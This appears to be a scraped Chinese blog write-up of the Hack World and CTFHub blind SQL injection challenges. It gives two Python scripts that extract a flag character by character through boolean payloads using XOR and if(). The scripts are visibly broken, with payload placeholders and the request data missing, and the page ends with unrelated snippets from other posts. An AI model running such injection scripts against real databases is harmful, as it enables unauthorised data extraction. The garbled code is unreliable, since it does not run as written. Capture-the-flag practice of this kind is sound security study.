Hack World和CTFHub布林注入記錄

2022-06-23 04:03:16 字數 2597 閱讀 2492

hack world

題目直接告訴你flag在flag表中的flag列

只有乙個提交框,正常方法無法注入,已經過濾大部分的sql語句。

接觸python指令碼:

提交框中

輸入 1 將返回hello, glzjin wants a girlfriend.

輸入 2 將返回do you want to be my girlfriend?

輸入其他 數字 將返回error occured when fetch result.

輸入其他 字串 將返回bool(false)

利用不同提交資料,返回不同的結果,可以爆破出flag。

思路一,利用^異或符號:

#二分法查詢

import requests

import time

url = ''

result = ''

for x in range(1,50):

high = 127

low = 32

mid = (high+low)//2 #結果向下取整

while high>low:

payload = "0^" + "(ascii(substr((select(flag)from(flag)),,1))>)".format(x,mid) #格式化函式代入x,mid

data =

html = requests.post(url,data=data).text #抓取頁面元素

time.sleep(0.5)

if "hello" in html:

low = mid+1

else:

high = mid

mid = (low+high)//2

result += chr(int(mid)) #型別轉換,int通過chr返回當前數值對應ascii碼值的字元

print(result)

print("flag:",result)

思路二:利用if(a,1,2)若a為true返回1,flase返回2。

import requests

import time

url = ''

result = ''

for x in range(1,50):

high = 127

low = 32

mid = (high+low)//2 #結果向下取整

while high>low:

payload = "if((ascii(substr((select(flag)from(flag)),,1))>),1,2)".format(x,mid) #格式化函式代入x,mid

data =

html = requests.post(url,data=data).text #抓取頁面元素

time.sleep(0.5)

if "hello" in html:

low = mid+1

else:

high = mid

mid = (low+high)//2

result += chr(int(mid)) #型別轉換,int通過chr返回當前數值對應ascii碼值的字元

print(result)

print("flag:",result)

ctfhub布林注入大體思路與指令碼**與上文接近,但注意構建request.post或者request.get提交表單時,post為(url,data=data),而get為(url,params=data)

Hack World簡單指令碼學習

import requests import time import re url flag for i in range 1,43 flag的字元數為43位 max 127 所有字元總數為127 min 0 for c in range 0,127 s int max min 2 二分法找出正確字...

和 區別和聯絡, 和 區別和聯絡

和 區別和聯絡,和 區別和聯絡,實際專案中,什麼情況用哪種?首先,和 的聯絡 共同點 和 都可以用作 邏輯與 運算子,都是雙目運算子。具體要看使用時的具體條件來決定。無論使用哪種運算子,對最終的運算結果都沒有影響。情況1 當上述的運算元是boolean型別變數時,和 都可以用作邏輯與運算子。情況2 ...

rpx和樣式和class和flex

5 style 靜態的樣式統一寫到 class 中。style 接收動態的樣式,在執行時會進行解析,請盡量避免將靜態的樣式寫進 style 中,以免影響渲染速度。例 6 class 用於指定樣式規則,其屬性值是樣式規則中類選擇器名 樣式類名 的集合,樣式類名不需要帶上.樣式類名之間用空格分隔。關於f...